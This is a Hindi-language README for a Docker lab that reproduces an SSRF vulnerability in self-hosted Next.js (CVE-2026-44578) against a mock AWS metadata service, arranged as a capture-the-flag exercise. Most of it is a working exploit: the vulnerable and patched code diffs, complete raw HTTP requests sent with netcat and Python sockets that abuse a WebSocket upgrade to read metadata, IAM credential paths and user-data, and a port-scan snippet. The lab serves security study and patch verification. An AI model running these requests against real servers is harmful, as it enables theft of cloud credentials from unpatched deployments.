
यह लैब ठीक हो सकती है या गलत, यह परीक्षण में है लेकिन इसे काम करना चाहिए, AI से पूछो हाहाहा
CVE-2026-44578 (CWE-918, SSRF) भेद्यता को Next.js self-hosted अनुप्रयोगों में पुनः उत्पन्न करने के लिए स्व-निहित प्रयोगशाला जो एकीकृत Node.js सर्वर का उपयोग करते हैं।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| प्रकार | SSRF (CWE-918) |
| प्रभावित संस्करण | Next.js 13.4.13 – 15.5.15 और 16.0.0 – 16.2.4 |
| पैच किए गए संस्करण | 15.5.16 और 16.2.5 |
| प्रमाणीकरण | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
हमलावर (host: 0.0.0.0)
│ HTTP :3000 (सार्वजनिक)
▼
┌──────────────────────────┐ समान नेटवर्क नेमस्पेस ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ Fake AWS IMDSv1 │
│ "Nimbus Analytics" │ │ (क्रेडेंशियल, │
│ (एकीकृत Node सर्वर) │ │ user-data, इंडेक्स) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln (पोर्ट 3000): भेद्य अनुप्रयोग, 0.0.0.0:3000 पर उजागर।imds-sidecar: AWS मेटाडेटा सेवा का मॉक जो Next.js कंटेनर के नेमस्पेस के अंदर localhost:80 पर रहता है, जो क्लाउड में वास्तविक इंस्टेंस का मॉडल बनाता है। यह होस्ट से सीधे पहुंच योग्य नहीं है (कोई प्रकाशित पोर्ट नहीं)। CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # स्वचालित PoC (5 प्रोब)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # Fake IMDSv1 + गुप्त रूट
└── nextjs-app/ # यथार्थवादी ऐप "Nimbus Analytics"
├── app/
│ ├── globals.css
│ ├── layout.js # navbar/footer
│ ├── page.js # landing
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (भेद्य)
router-server.ts में WebSocket upgrade हैंडलर proxyRequest() को कॉल करता है जब पार्स किया गया URI में parsedUrl.protocol होता है, बिना finished और statusCode फ्लैग की जाँच किए जो सामान्य HTTP हैंडलर हमेशा जारी करता था:
// भेद्य (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// पैच (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
हमले का मार्ग डबल-स्लैश वाले पूर्ण URI वाली request line का उपयोग करता है:
GET http:///path। normalizeRepeatedSlashes http:/// को http:/ में बदल देता है, जिससे hostname समाप्त हो जाता है, और http-proxy तब path को बरकरार रखते हुए localhost:80 से कनेक्ट होता है:
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Connection: Upgrade + Upgrade: websocket हेडर की उपस्थिति के कारण अनुरोध सुरक्षा जाँच वाले HTTP हैंडलर के बजाय भेद्य upgrade हैंडलर में चला जाता है।
docker compose up -d --build
सत्यापित करें कि ऐप प्रतिक्रिया देता है:
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
इसे 0.0.0.0 पर चालू रखने के लिए, docker-compose.yml में पोर्ट मैपिंग पहले से ही सभी इंटरफेस पर 3000:3000 उजागर करती है।
nc) का उपयोग करकेprintf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
4 चरणों में 100% मैन्युअल पूर्ण प्रवाह। आंतरिक सेवा (localhost:80) में 4 फ्लैग छिपे हैं; यह गाइड पहले तक का प्रवाह दिखाता है और बाकी खोजने के लिए रूट छोड़ देता है।
# सर्वर का फिंगरप्रिंट
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# सॉकेट के माध्यम से खुले पोर्ट (nmap के बिना)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
हमलावर से 127.0.0.1:80 तक सीधी पहुंच नहीं है: एकमात्र वेक्टर यह है कि Next.js सर्वर (जो आंतरिक सेवा के समान नेटवर्क में रहता है) हमारे लिए अनुरोध करे।
पहले हम मेटाडेटा सेवा के इंडेक्स के बारे में पूछकर SSRF की पुष्टि करते हैं:
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
इंडेक्स की प्रतिक्रिया → उम्मीदवार: instance-id, hostname,
iam/security-credentials/, user-data (पहला फ्लैग)। latest/meta-data/ का इंडेक्स भी उप-कुंजियाँ प्रकट करता है जिन्हें आगे खोजना उचित है।
GET http:///latest/user-data HTTP/1.1
| भाग | कार्य |
|---|---|
GET | भेद्यता केवल GET को प्रॉक्सी करती है |
http:///latest/user-data | पूर्ण URI। http:/// http:/ में बदल जाता है → hostname null → प्रॉक्सी path /latest/user-data को बनाए रखते हुए localhost:80 से कनेक्ट होता है |
Host: 127.0.0.1:3000 | अन्यथा सर्वर 400 प्रतिक्रिया देता है |
Connection: Upgrade + Upgrade: websocket | अनुरोध को भेद्य upgrade हैंडलर की ओर मोड़ते हैं (सामान्य HTTP हैंडलर वास्तव में मान्य करता है) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | वैध हैंडशेक में आवश्यक न्यूनतम हेडर |
समाप्ति: रॉ सॉकेट पर \r\n\r\n (बिना बॉडी के)।
# विकल्प A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# विकल्प B: Python में रॉ सॉकेट (समान सटीकता, nc के बिना)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
आउटपुट — पहला फ्लैग आंतरिक सेवा की प्रतिक्रिया के बॉडी में आता है:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}